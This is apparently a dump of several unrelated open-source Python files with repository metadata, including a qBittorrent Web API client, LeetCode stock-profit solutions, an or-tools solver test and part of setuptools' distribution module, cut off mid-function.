= value if reinit: self._initText() def getCentered(self): return self._centered def setCentered(self, value, reinit = True): """ value (bool) - New centered value reinit (bool) - Create a new texture Sets a new value for 'centered' """ self._centered = value if reinit: self._initText() def get_size(self): """ Returns a text size tuple """ return self._aloc_text._text_size def getTexture_size(self): """ Returns a texture size tuple """ return self._aloc_text.texture_size def getTextElement(self): """ Returns the text element bound to the Text class """ return self._aloc_text def getTexture(self): """ Returns the texture of the bound TextElement """ return self._aloc_text.texture #---Properties text = property(getText, setText, None, "Text of the object") font = property(getFont, setFont, None, "Font of the object") font_size = property(getFont_size, setFont_size, None, "Font size") foreground = property(getForeground, setForeground, None, "Color/Overlay bitmap of the text") centered = property(getCentered, setCentered, None, "Display the text centered") texture_size = property(getTexture_size, None, None, "Size of the used texture") texture = property(getTexture, None, None, "Texture of bound TextElement") text_element = property(getTextElement,None , None, "TextElement bound to this class") #Optimize critical functions if psyco and not psyco_optimized: psyco.bind(TextElement.createTexture) psyco_optimized = True
gpl-3.0
dragondjf/musicplayer
objbrowser/__init__.py
1
2196
""" objbrowser package """ __all__ = ['browse', 'execute', 'create_object_browser', 'logging_basic_config'] import sys, os, logging, pprint, inspect from PyQt5 import QtCore from PyQt5 import QtGui from PyQt5 import QtWidgets from objbrowser.objectbrowser import ObjectBrowser from objbrowser.version import PROGRAM_NAME, PROGRAM_VERSION __version__ = PROGRAM_VERSION logger = logging.getLogger(__name__) def logging_basic_config(level = 'INFO'): """ Setup basic config logging. Useful for debugging to quickly setup a useful logger""" fmt = '%(filename)25s:%(lineno)-4d : %(levelname)-7s: %(message)s' logging.basicConfig(level=level, format=fmt) def check_class(obj, target_class, allow_none = False): """ Checks that the obj is a (sub)type of target_class. Raises a TypeError if this is not the case. """ if not isinstance(obj, target_class): if not (allow_none and obj is None): raise TypeError("obj must be a of type {}, got: {}" .format(target_class, type(obj))) def get_qapplication_instance(): """ Returns the QApplication instance. Creates one if it doesn't exist. """ app = QtWidgets.QApplication.instance() if app is None: app = QtWidgets.QApplication(sys.argv) check_class(app, QtWidgets.QApplication) return app def create_object_browser(*args, **kwargs): """ Opens an OjbectBrowser window """ _app = get_qapplication_instance() object_browser = ObjectBrowser(*args, **kwargs) object_browser.show() return object_browser def execute(): """ Executes all created object browser by starting the Qt main application """ logger.info("Starting the Object browser(s)...") app = get_qapplication_instance() exit_code = app.exec_() logger.info("Object browser(s) done...") return exit_code def browse(*args, **kwargs): """ Opens and executes an OjbectBrowser window """ global object_browser object_browser = create_object_browser(*args, **kwargs) app = QtWidgets.QApplication.instance() if not app: exit_code = execute() return exit_code
gpl-2.0
c-o-m-m-a-n-d-e-r/CouchPotatoServer
libs/qbittorrent/client.py
15
19603
import requests import json class LoginRequired(Exception): def __str__(self): return 'Please login first.' class QBittorrentClient(object): """class to interact with qBittorrent WEB API""" def __init__(self, url): if not url.endswith('/'): url += '/' self.url = url session = requests.Session() check_prefs = session.get(url+'query/preferences') if check_prefs.status_code == 200: self._is_authenticated = True self.session = session else: self._is_authenticated = False def _get(self, endpoint, **kwargs): """ Method to perform GET request on the API. :param endpoint: Endpoint of the API. :param kwargs: Other keyword arguments for requests. :return: Response of the GET request. """ return self._request(endpoint, 'get', **kwargs) def _post(self, endpoint, data, **kwargs): """ Method to perform POST request on the API. :param endpoint: Endpoint of the API. :param data: POST DATA for the request. :param kwargs: Other keyword arguments for requests. :return: Response of the POST request. """ return self._request(endpoint, 'post', data, **kwargs) def _request(self, endpoint, method, data=None, **kwargs): """ Method to hanle both GET and POST requests. :param endpoint: Endpoint of the API. :param method: Method of HTTP request. :param data: POST DATA for the request. :param kwargs: Other keyword arguments. :return: Response for the request. """ final_url = self.url + endpoint if not self._is_authenticated: raise LoginRequired rq = self.session if method == 'get': request = rq.get(final_url, **kwargs) else: request = rq.post(final_url, data, **kwargs) request.raise_for_status() if len(request.text) == 0: data = json.loads('{}') else: try: data = json.loads(request.text) except ValueError: data = request.text return data def login(self, username, password): """ Method to authenticate the qBittorrent Client. Declares a class attribute named ``session`` which stores the authenticated session if the login is correct. Else, shows the login error. :param username: Username. :param password: Password. :return: Response to login request to the API. """ self.session = requests.Session() login = self.session.post(self.url+'login', data={'username': username, 'password': password}) if login.text == 'Ok.': self._is_authenticated = True else: return login.text def logout(self): """ Logout the current session. """ response = self._get('logout') self._is_authenticated = False return response @property def qbittorrent_version(self): """ Get qBittorrent version. """ return self._get('version/qbittorrent') @property def api_version(self): """ Get WEB API version. """ return self._get('version/api') @property def api_min_version(self): """ Get minimum WEB API version. """ return self._get('version/api_min') def shutdown(self): """ Shutdown qBittorrent. """ return self._get('command/shutdown') def torrents(self, status='active', label='', sort='priority', reverse=False, limit=10, offset=0): """ Returns a list of torrents matching the supplied filters. :param status: Current status of the torrents. :param label: Fetch all torrents with the supplied label. qbittorrent < 3.3.5 :param category: Fetch all torrents with the supplied label. qbittorrent >= 3.3.5 :param sort: Sort torrents by. :param reverse: Enable reverse sorting. :param limit: Limit the number of torrents returned. :param offset: Set offset (if less than 0, offset from end). :return: list() of torrent with matching filter. """ STATUS_LIST = ['all', 'downloading', 'completed', 'paused', 'active', 'inactive'] if status not in STATUS_LIST: raise ValueError("Invalid status.") if self.api_version < 10: params = { 'filter': status, 'label': label, 'sort': sort, 'reverse': reverse, 'limit': limit, 'offset': offset } elif self.api_version >= 10: params = { 'filter': status, 'category': label, 'sort': sort, 'reverse': reverse, 'limit': limit, 'offset': offset } return self._get('query/torrents', params=params) def get_torrent(self, infohash): """ Get details of the torrent. :param infohash: INFO HASH of the torrent. """ return self._get('query/propertiesGeneral/' + infohash.lower()) def get_torrent_trackers(self, infohash): """ Get trackers for the torrent. :param infohash: INFO HASH of the torrent. """ return self._get('query/propertiesTrackers/' + infohash.lower()) def get_torrent_webseeds(self, infohash): """ Get webseeds for the torrent. :param infohash: INFO HASH of the torrent. """ return self._get('query/propertiesWebSeeds/' + infohash.lower()) def get_torrent_files(self, infohash): """ Get list of files for the torrent. :param infohash: INFO HASH of the torrent. """ return self._get('query/propertiesFiles/' + infohash.lower()) @property def global_transfer_info(self): """ Get JSON data of the global transfer info of qBittorrent. """ return self._get('query/transferInfo') @property def preferences(self): """ Get the current qBittorrent preferences. Can also be used to assign individual preferences. For setting multiple preferences at once, see ``set_preferences`` method. Note: Even if this is a ``property``, to fetch the current preferences dict, you are required to call it like a bound method. Wrong:: qb.preferences Right:: qb.preferences() """ prefs = self._get('query/preferences') class Proxy(Client): """ Proxy class to to allow assignment of individual preferences. this class overrides some methods to ease things. Because of this, settings can be assigned like:: In [5]: prefs = qb.preferences() In [6]: prefs['autorun_enabled'] Out[6]: True In [7]: prefs['autorun_enabled'] = False In [8]: prefs['autorun_enabled'] Out[8]: False """ def __init__(self, url, prefs, auth, session): super(Proxy, self).__init__(url) self.prefs = prefs self._is_authenticated = auth self.session = session def __getitem__(self, key): return self.prefs[key] def __setitem__(self, key, value): kwargs = {key: value} return self.set_preferences(**kwargs) def __call__(self): return self.prefs return Proxy(self.url, prefs, self._is_authenticated, self.session) def sync(self, rid=0): """ Sync the torrents by supplied LAST RESPONSE ID. Read more @ http://git.io/vEgXr :param rid: Response ID of last request. """ return self._get('sync/maindata', params={'rid': rid}) def download_from_link(self, link, save_path=None, label=''): """ Download torrent using a link. :param link: URL Link or list of. :param save_path: Path to download the torrent. :param label: Label of the torrent(s). qbittorrent < 3.3.5 :param category: Label of the torrent(s). qbittorrent >= 3.3.5 :return: Empty JSON data. """ if not isinstance(link, list): link = [link] data = {'urls': link} if save_path: data.update({'savepath': save_path}) if self.api_version < 10 and label: data.update({'label': label}) elif self.api_version >= 10 and label: data.update({'category': label}) return self._post('command/download', data=data) def download_from_file(self, file_buffer, save_path=None, label=''): """ Download torrent using a file. :param file_buffer: Single file() buffer or list of. :param save_path: Path to download the torrent. :param label: Label of the torrent(s). qbittorrent < 3.3.5 :param category: Label of the torrent(s). qbittorrent >= 3.3.5 :return: Empty JSON data. """ if isinstance(file_buffer, list): torrent_files = {} for i, f in enumerate(file_buffer): torrent_files.update({'torrents%s' % i: f}) print torrent_files else: torrent_files = {'torrents': file_buffer} data = {} if save_path: data.update({'savepath': save_path}) if self.api_version < 10 and label: data.update({'label': label}) elif self.api_version >= 10 and label: data.update({'category': label}) return self._post('command/upload', data=data, files=torrent_files) def add_trackers(self, infohash, trackers): """ Add trackers to a torrent. :param infohash: INFO HASH of torrent. :param trackers: Trackers. """ data = {'hash': infohash.lower(), 'urls': trackers} return self._post('command/addTrackers', data=data) @staticmethod def process_infohash_list(infohash_list): """ Method to convert the infohash_list to qBittorrent API friendly values. :param infohash_list: List of infohash. """ if isinstance(infohash_list, list): data = {'hashes': '|'.join([h.lower() for h in infohash_list])} else: data = {'hashes': infohash_list.lower()} return data def pause(self, infohash): """ Pause a torrent. :param infohash: INFO HASH of torrent. """ return self._post('command/pause', data={'hash': infohash.lower()}) def pause_all(self): """ Pause all torrents. """ return self._get('command/pauseAll') def pause_multiple(self, infohash_list): """ Pause multiple torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/pauseAll', data=data) def resume(self, infohash): """ Resume a paused torrent. :param infohash: INFO HASH of torrent. """ return self._post('command/resume', data={'hash': infohash.lower()}) def resume_all(self): """ Resume all torrents. """ return self._get('command/resumeAll') def resume_multiple(self, infohash_list): """ Resume multiple paused torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/resumeAll', data=data) def delete(self, infohash_list): """ Delete torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/delete', data=data) def delete_permanently(self, infohash_list): """ Permanently delete torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/deletePerm', data=data) def recheck(self, infohash_list): """ Recheck torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/recheck', data=data) def increase_priority(self, infohash_list): """ Increase priority of torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/increasePrio', data=data) def decrease_priority(self, infohash_list): """ Decrease priority of torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/decreasePrio', data=data) def set_max_priority(self, infohash_list): """ Set torrents to maximum priority level. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/topPrio', data=data) def set_min_priority(self, infohash_list): """ Set torrents to minimum priority level. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/bottomPrio', data=data) def set_file_priority(self, infohash, file_id, priority): """ Set file of a torrent to a supplied priority level. :param infohash: INFO HASH of torrent. :param file_id: ID of the file to set priority. :param priority: Priority level of the file. """ if priority not in [0, 1, 2, 7]: raise ValueError("Invalid priority, refer WEB-UI docs for info.") elif not isinstance(file_id, int): raise TypeError("File ID must be an int") data = {'hash': infohash.lower(), 'id': file_id, 'priority': priority} return self._post('command/setFilePrio', data=data) # Get-set global download and upload speed limits. def get_global_download_limit(self): """ Get global download speed limit. """ return self._get('command/getGlobalDlLimit') def set_global_download_limit(self, limit): """ Set global download speed limit. :param limit: Speed limit in bytes. """ return self._post('command/setGlobalDlLimit', data={'limit': limit}) global_download_limit = property(get_global_download_limit, set_global_download_limit) def get_global_upload_limit(self): """ Get global upload speed limit. """ return self._get('command/getGlobalUpLimit') def set_global_upload_limit(self, limit): """ Set global upload speed limit. :param limit: Speed limit in bytes. """ return self._post('command/setGlobalUpLimit', data={'limit': limit}) global_upload_limit = property(get_global_upload_limit, set_global_upload_limit) # Get-set download and upload speed limits of the torrents. def get_torrent_download_limit(self, infohash_list): """ Get download speed limit of the supplied torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/getTorrentsDlLimit', data=data) def set_torrent_download_limit(self, infohash_list, limit): """ Set download speed limit of the supplied torrents. :param infohash_list: Single or list() of infohashes. :param limit: Speed limit in bytes. """ data = self.process_infohash_list(infohash_list) data.update({'limit': limit}) return self._post('command/setTorrentsDlLimit', data=data) def get_torrent_upload_limit(self, infohash_list): """ Get upoload speed limit of the supplied torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/getTorrentsUpLimit', data=data) def set_torrent_upload_limit(self, infohash_list, limit): """ Set upload speed limit of the supplied torrents. :param infohash_list: Single or list() of infohashes. :param limit: Speed limit in bytes. """ data = self.process_infohash_list(infohash_list) data.update({'limit': limit}) return self._post('command/setTorrentsUpLimit', data=data) # setting preferences def set_preferences(self, **kwargs): """ Set preferences of qBittorrent. Read all possible preferences @ http://git.io/vEgDQ :param kwargs: set preferences in kwargs form. """ json_data = "json={}".format(json.dumps(kwargs)) headers = {'content-type': 'application/x-www-form-urlencoded'} return self._post('command/setPreferences', data=json_data, headers=headers) def get_alternative_speed_status(self): """ Get Alternative speed limits. (1/0) """ return self._get('command/alternativeSpeedLimitsEnabled') alternative_speed_status = property(get_alternative_speed_status) def toggle_alternative_speed(self): """ Toggle alternative speed limits. """ return self._get('command/toggleAlternativeSpeedLimits') def toggle_sequential_download(self, infohash_list): """ Toggle sequential download in supplied torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/toggleSequentialDownload', data=data) def toggle_first_last_piece_priority(self, infohash_list): """ Toggle first/last piece priority of supplied torrents. :param infohash_list: Single or list() of infohashes. """ data = self.process_infohash_list(infohash_list) return self._post('command/toggleFirstLastPiecePrio', data=data) def force_start(self, infohash_list, value=True): """ Force start selected torrents. :param infohash_list: Single or list() of infohashes. :param value: Force start value (bool) """ data = self.process_infohash_list(infohash_list) data.update({'value': json.dumps(value)}) return self._post('command/setForceStart', data=data)
gpl-3.0
jaredkoontz/leetcode
Python/best-time-to-buy-and-sell-stock-iii.py
3
2546
# Time: O(n) # Space: O(1) # # Say you have an array for which the ith element # is the price of a given stock on day i. # # Design an algorithm to find the maximum profit. # You may complete at most two transactions. # # Note: # You may not engage in multiple transactions at the same time # (ie, you must sell the stock before you buy again). # # Time: O(n) # Space: O(1) class Solution: # @param prices, a list of integer # @return an integer def maxProfit(self, prices): hold1, hold2 = float("-inf"), float("-inf") release1, release2 = 0, 0 for i in prices: release2 = max(release2, hold2 + i) hold2 = max(hold2, release1 - i) release1 = max(release1, hold1 + i) hold1 = max(hold1, -i); return release2 # Time: O(k * n) # Space: O(k) class Solution2: # @param prices, a list of integer # @return an integer def maxProfit(self, prices): return self.maxAtMostKPairsProfit(prices, 2) def maxAtMostKPairsProfit(self, prices, k): max_buy = [float("-inf") for _ in xrange(k + 1)] max_sell = [0 for _ in xrange(k + 1)] for i in xrange(len(prices)): for j in xrange(1, min(k, i/2+1) + 1): max_buy[j] = max(max_buy[j], max_sell[j-1] - prices[i]) max_sell[j] = max(max_sell[j], max_buy[j] + prices[i]) return max_sell[k] # Time: O(n) # Space: O(n) class Solution3: # @param prices, a list of integer # @return an integer def maxProfit(self, prices): min_price, max_profit_from_left, max_profits_from_left = float("inf"), 0, [] for price in prices: min_price = min(min_price, price) max_profit_from_left = max(max_profit_from_left, price - min_price) max_profits_from_left.append(max_profit_from_left) max_price, max_profit_from_right, max_profits_from_right = 0, 0, [] for i in reversed(range(len(prices))): max_price = max(max_price, prices[i]) max_profit_from_right = max(max_profit_from_right, max_price - prices[i]) max_profits_from_right.insert(0, max_profit_from_right) max_profit = 0 for i in range(len(prices)): max_profit = max(max_profit, max_profits_from_left[i] + max_profits_from_right[i]) return max_profit if __name__ == "__main__": result = Solution().maxProfit([3, 2, 1, 4, 2, 5, 6]) print result
mit
MarcosCommunity/odoo
addons/purchase/edi/__init__.py
448
1069
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Business Applications # Copyright (c) 2011 OpenERP S.A. <http://openerp.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import purchase_order # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
fjbatresv/odoo
addons/board/__init__.py
439
1144
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # Copyright (C) 2010-2012 OpenERP s.a. (<http://openerp.com>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import board import controllers # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
atpohjal/or-tools
examples/tests/pywraplp_test.py
19
3470
# Copyright 2010-2014 Google # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Simple unit tests for python/linear_solver.swig. Not exhaustive.""" import types from ortools.linear_solver import linear_solver2_pb2 from ortools.linear_solver import pywraplp from google.protobuf import text_format def compute_sum(arg): if type(arg) is types.GeneratorType: arg = [x for x in arg] s = 0 for i in arg: s += i print 'sum(%s) = %d' % (str(arg), s) def test_sum_no_brackets(): compute_sum(x for x in range(10) if x % 2 == 0) compute_sum([x for x in range(10) if x % 2 == 0]) text_model = """ solver_type:CBC_MIXED_INTEGER_PROGRAMMING model < maximize:true variable < lower_bound:1 upper_bound:10 objective_coefficient:2 > variable < lower_bound:1 upper_bound:10 objective_coefficient:1 > constraint < lower_bound:-10000 upper_bound:4 var_index:0 var_index:1 coefficient:1 coefficient:2 > > """ def test_proto(): input_proto = linear_solver2_pb2.MPModelRequest() text_format.Merge(text_model, input_proto) solver = pywraplp.Solver('solveFromProto', pywraplp.Solver.CBC_MIXED_INTEGER_PROGRAMMING) print input_proto # For now, create the model from the proto by parsing the proto solver.LoadModelFromProto(input_proto.model) solver.EnableOutput() solver.Solve() # Fill solution solution = linear_solver2_pb2.MPSolutionResponse() solver.FillSolutionResponseProto(solution) print solution def test_external_api(): solver = pywraplp.Solver('TestExternalAPI', pywraplp.Solver.GLOP_LINEAR_PROGRAMMING) infinity = solver.Infinity() infinity2 = solver.infinity() assert infinity == infinity2 # x1, x2 and x3 are continuous non-negative variables. x1 = solver.NumVar(0.0, infinity, 'x1') x2 = solver.NumVar(0.0, infinity, 'x2') x3 = solver.NumVar(0.0, infinity, 'x3') assert x1.Lb() == 0 assert x1.Ub() == infinity assert not x1.Integer() solver.Maximize(10 * x1 + 6 * x2 + 4 * x3 + 5) assert solver.Objective().Offset() == 5 c0 = solver.Add(10 * x1 + 4 * x2 + 5 * x3 <= 600, 'ConstraintName0') c1 = solver.Add(2 * x1 + 2 * x2 + 6 * x3 <= 300) sum_of_vars = sum([x1, x2, x3]) solver.Add(sum_of_vars <= 100.0, 'OtherConstraintName') assert c1.Lb() == -infinity assert c1.Ub() == 300 c1.SetLb(-100000) assert c1.Lb() == -100000 c1.SetUb(301) assert c1.Ub() == 301 solver.SetTimeLimit(10000) result_status = solver.Solve() # The problem has an optimal solution. assert result_status == pywraplp.Solver.OPTIMAL print 'Problem solved in %f milliseconds' % solver.WallTime() print 'Problem solved in %d iterations' % solver.Iterations() print x1.ReducedCost() print c0.DualValue() def main(): test_sum_no_brackets() # TODO(user): Support the proto API in or-tools. When this happens, re-enable # the test below: # test_proto() test_external_api() if __name__ == '__main__': main()
apache-2.0
mith1979/ansible_automation
applied_python/applied_python/lib/python2.7/site-packages/setuptools/dist.py
75
35307
__all__ = ['Distribution'] import re import os import sys import warnings import numbers import distutils.log import distutils.core import distutils.cmd import distutils.dist from distutils.core import Distribution as _Distribution from distutils.errors import (DistutilsOptionError, DistutilsPlatformError, DistutilsSetupError) from setuptools.depends import Require from setuptools.compat import basestring, PY2 from setuptools import windows_support import pkg_resources packaging = pkg_resources.packaging def _get_unpatched(cls): """Protect against re-patching the distutils if reloaded Also ensures that no other distutils extension monkeypatched the distutils first. """ while cls.__module__.startswith('setuptools'): cls, = cls.__bases__ if not cls.__module__.startswith('distutils'): raise AssertionError( "distutils has already been patched by %r" % cls ) return cls _Distribution = _get_unpatched(_Distribution) def _patch_distribution_metadata_write_pkg_info(): """ Workaround issue #197 - Python 3 prior to 3.2.2 uses an environment-local encoding to save the pkg_info. Monkey-patch its write_pkg_info method to correct this undesirable behavior. """ environment_local = (3,) <= sys.version_info[:3] < (3, 2, 2) if not environment_local: return # from Python 3.4 def write_pkg_info(self, base_dir): """Write the PKG-INFO file into the release tree. """ with open(os.path.join(base_dir, 'PKG-INFO'), 'w', encoding='UTF-8') as pkg_info: self.write_pkg_file(pkg_info) distutils.dist.DistributionMetadata.write_pkg_info = write_pkg_info _patch_distribution_metadata_write_pkg_info() sequence = tuple, list def check_importable(dist, attr, value): try: ep = pkg_resources.EntryPoint.parse('x='+value) assert not ep.extras except (TypeError,ValueError,AttributeError,AssertionError): raise DistutilsSetupError( "%r must be importable 'module:attrs' string (got %r)" % (attr,value) ) def assert_string_list(dist, attr, value): """Verify that value is a string list or None""" try: assert ''.join(value)!=value except (TypeError,ValueError,AttributeError,AssertionError): raise DistutilsSetupError( "%r must be a list of strings (got %r)" % (attr,value) ) def check_nsp(dist, attr, value): """Verify that namespace packages are valid""" assert_string_list(dist,attr,value) for nsp in value: if not dist.has_contents_for(nsp): raise DistutilsSetupError( "Distribution contains no modules or packages for " + "namespace package %r" % nsp ) if '.' in nsp: parent = '.'.join(nsp.split('.')[:-1]) if parent not in value: distutils.log.warn( "WARNING: %r is declared as a package namespace, but %r" " is not: please correct this in setup.py", nsp, parent ) def check_extras(dist, attr, value): """Verify that extras_require mapping is valid""" try: for k,v in value.items(): if ':' in k: k,m = k.split(':',1) if pkg_resources.invalid_marker(m): raise DistutilsSetupError("Invalid environment marker: "+m) list(pkg_resources.parse_requirements(v)) except (TypeError,ValueError,AttributeError): raise DistutilsSetupError( "'extras_require' must be a dictionary whose values are " "strings or lists of strings containing valid project/version " "requirement specifiers." ) def assert_bool(dist, attr, value): """Verify that value is True, False, 0, or 1""" if bool(value) != value: raise DistutilsSetupError( "%r must be a boolean value (got %r)" % (attr,value) ) def check_requirements(dist, attr, value): """Verify that install_requires is a valid requirements list""" try: list(pkg_resources.parse_requirements(value)) except (TypeError,ValueError): raise DistutilsSetupError( "%r must be a string or list of strings " "containing valid project/version requirement specifiers" % (attr,) ) def check_entry_points(dist, attr, value): """Verify that entry_points map is parseable""" try: pkg_resources.EntryPoint.parse_map(value) except ValueError as e: raise DistutilsSetupError(e) def check_test_suite(dist, attr, value): if not isinstance(value,basestring): raise DistutilsSetupError("test_suite must be a string") def check_package_data(dist, attr, value): """Verify that value is a dictionary of package names to glob lists""" if isinstance(value,dict): for k,v in value.items(): if not isinstance(k,str): break try: iter(v) except TypeError: break else: return raise DistutilsSetupError( attr+" must be a dictionary mapping package names to lists of " "wildcard patterns" ) def check_packages(dist, attr, value): for pkgname in value: if not re.match(r'\w+(\.\w+)*', pkgname): distutils.log.warn( "WARNING: %r not a valid package name; please use only" ".-separated package names in setup.py", pkgname ) class Distribution(_Distribution): """Distribution with support for features, tests, and package data This is an enhanced version of 'distutils.dist.Distribution' that effectively adds the following new optional keyword arguments to 'setup()': 'install_requires' -- a string or sequence of strings specifying project versions that the distribution requires when installed, in the format used by 'pkg_resources.require()'. They will be installed automatically when the package is installed. If you wish to use packages that are not available in PyPI, or want to give your users an alternate download location, you can add a 'find_links' option to the '[easy_install]' section of your project's 'setup.cfg' file, and then setuptools will scan the listed web pages for links that satisfy the requirements. 'extras_require' -- a dictionary mapping names of optional "extras" to the additional requirement(s) that using those extras incurs. For example, this:: extras_require = dict(reST = ["docutils>=0.3", "reSTedit"]) indicates that the distribution can optionally provide an extra capability called "reST", but it can only be used if docutils and reSTedit are installed. If the user installs your package using EasyInstall and requests one of your extras, the corresponding additional requirements will be installed if needed. 'features' **deprecated** -- a dictionary mapping option names to 'setuptools.Feature' objects. Features are a portion of the distribution that can be included or excluded based on user options, inter-feature dependencies, and availability on the current system. Excluded features are omitted from all setup commands, including source and binary distributions, so you can create multiple distributions from the same source tree. Feature names should be valid Python identifiers, except that they may contain the '-' (minus) sign. Features can be included or excluded via the command line options '--with-X' and '--without-X', where 'X' is the name of the feature. Whether a feature is included by default, and whether you are allowed to control this from the command line, is determined by the Feature object. See the 'Feature' class for more information. 'test_suite' -- the name of a test suite to run for the 'test' command. If the user runs 'python setup.py test', the package will be installed, and the named test suite will be run. The format is the same as would be used on a 'unittest.py' command line. That is, it is the dotted name of an object to import and call to generate a test suite. 'package_data' -- a dictionary mapping package names to lists of filenames or globs to use to find data files contained in the named packages. If the dictionary has filenames or globs listed under '""' (the empty string), those names will be searched for in every package, in addition to any names for the specific package. Data files found using these names/globs will be installed along with the package, in the same location as the package. Note that globs are allowed to reference the contents of non-package subdirectories, as long as you use '/' as a path separator. (Globs are automatically converted to platform-specific paths at runtime.) In addition to these new keywords, this class also has several new methods for manipulating the distribution's contents. For example, the 'include()' and 'exclude()' methods can be thought of as in-place add and subtract commands that add or remove packages, modules, extensions, and so on from the distribution. They are used by the feature subsystem to configure the distribution for the included and excluded features. """ _patched_dist = None def patch_missing_pkg_info(self, attrs): # Fake up a replacement for the data that would normally come from # PKG-INFO, but which might not yet be built if this is a fresh # checkout. # if not attrs or 'name' not in attrs or 'version' not in attrs: return key = pkg_resources.safe_name(str(attrs['name'])).lower() dist = pkg_resources.working_set.by_key.get(key) if dist is not None and not dist.has_metadata('PKG-INFO'): dist._version = pkg_resources.safe_version(str(attrs['version'])) self._patched_dist = dist def __init__(self, attrs=None): have_package_data = hasattr(self, "package_data") if not have_package_data: self.package_data = {} _attrs_dict = attrs or {} if 'features' in _attrs_dict or 'require_features' in _attrs_dict: Feature.warn_deprecated() self.require_features = [] self.features = {} self.dist_files = [] self.src_root = attrs and attrs.pop("src_root", None) self.patch_missing_pkg_info(attrs) # Make sure we have any eggs needed to interpret 'attrs' if attrs is not None: self.dependency_links = attrs.pop('dependency_links', []) assert_string_list(self,'dependency_links',self.dependency_links) if attrs and 'setup_requires' in attrs: self.fetch_build_eggs(attrs['setup_requires']) for ep in pkg_resources.iter_entry_points('distutils.setup_keywords'): if not hasattr(self,ep.name): setattr(self,ep.name,None) _Distribution.__init__(self,attrs) if isinstance(self.metadata.version, numbers.Number): # Some people apparently take "version number" too literally :) self.metadata.version = str(self.metadata.version) if self.metadata.version is not None: try: ver = packaging.version.Version(self.metadata.version) normalized_version = str(ver) if self.metadata.version != normalized_version: warnings.warn( "The version specified requires normalization, " "consider using '%s' instead of '%s'." % ( normalized_version, self.metadata.version, ) ) self.metadata.version = normalized_version except (packaging.version.InvalidVersion, TypeError): warnings.warn( "The version specified (%r) is an invalid version, this " "may not work as expected with newer versions of " "setuptools, pip, and PyPI. Please see PEP 440 for more " "details." % self.metadata.version ) def parse_command_line(self): """Process features after parsing command line options""" result = _Distribution.parse_command_line(self) if self.features: self._finalize_features() return result def _feature_attrname(self,name): """Convert feature name to corresponding option attribute name""" return 'with_'+name.replace('-','_') def fetch_build_eggs(self, requires): """Resolve pre-setup requirements""" resolved_dists = pkg_resources.working_set.resolve( pkg_resources.parse_requirements(requires), installer=self.fetch_build_egg, replace_conflicting=True, ) for dist in resolved_dists: pkg_resources.working_set.add(dist, replace=True) def finalize_options(self): _Distribution.finalize_options(self) if self.features: self._set_global_opts_from_features() for ep in pkg_resources.iter_entry_points('distutils.setup_keywords'): value = getattr(self,ep.name,None) if value is not None: ep.require(installer=self.fetch_build_egg) ep.load()(self, ep.name, value) if getattr(self, 'convert_2to3_doctests', None): # XXX may convert to set here when we can rely on set being builtin self.convert_2to3_doctests = [os.path.abspath(p) for p in self.convert_2to3_doctests] else: self.convert_2to3_doctests = [] def get_egg_cache_dir(self): egg_cache_dir = os.path.join(os.curdir, '.eggs') if not os.path.exists(egg_cache_dir): os.mkdir(egg_cache_dir) windows_support.hide_file(egg_cache_dir) readme_txt_filename = os.path.join(egg_cache_dir, 'README.txt') with open(readme_txt_filename, 'w') as f: f.write('This directory contains eggs that were downloaded ' 'by setuptools to build, test, and run plug-ins.\n\n') f.write('This directory caches those eggs to prevent ' 'repeated downloads.\n\n') f.write('However, it is safe to delete this directory.\n\n') return egg_cache_dir def fetch_build_egg(self, req): """Fetch an egg needed for building""" try: cmd = self._egg_fetcher cmd.package_index.to_scan = [] except AttributeError: from setuptools.command.easy_install import easy_install dist = self.__class__({'script_args':['easy_install']}) dist.parse_config_files() opts = dist.get_option_dict('easy_install') keep = ( 'find_links', 'site_dirs', 'index_url', 'optimize', 'site_dirs', 'allow_hosts' ) for key in list(opts): if key not in keep: del opts[key] # don't use any other settings if self.dependency_links: links = self.dependency_links[:] if 'find_links' in opts: links = opts['find_links'][1].split() + links opts['find_links'] = ('setup', links) install_dir = self.get_egg_cache_dir() cmd = 